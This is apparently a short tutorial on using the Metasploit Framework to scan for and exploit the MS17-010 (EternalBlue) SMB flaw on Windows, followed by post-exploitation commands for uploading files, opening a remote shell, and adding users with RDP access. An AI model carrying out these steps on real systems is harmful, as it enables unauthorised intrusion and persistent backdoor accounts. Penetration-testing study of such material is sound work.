Using Metasploit Framework#
-
Execute the
msfconsole
command to enter the msf terminal. -
Search for ms17-010 related modules
-
Use the
auxiliary/scanner/smb/smb_ms17_010
module for scanning
-
Use the
exploit/windows/smb/ms17_010_eternalblue
module for exploitation
-
Successfully exploit to get a shell, use the help command to see supported commands
Common commands:
lcd
Switch local directory
lls
Browse local files
cd
Switch remote directory
ls
Browse remote files
upload local_file remote_location
Upload file
shell
Invoke remote shell
In cmd, you can use the net
command to create users and add RDP access permissions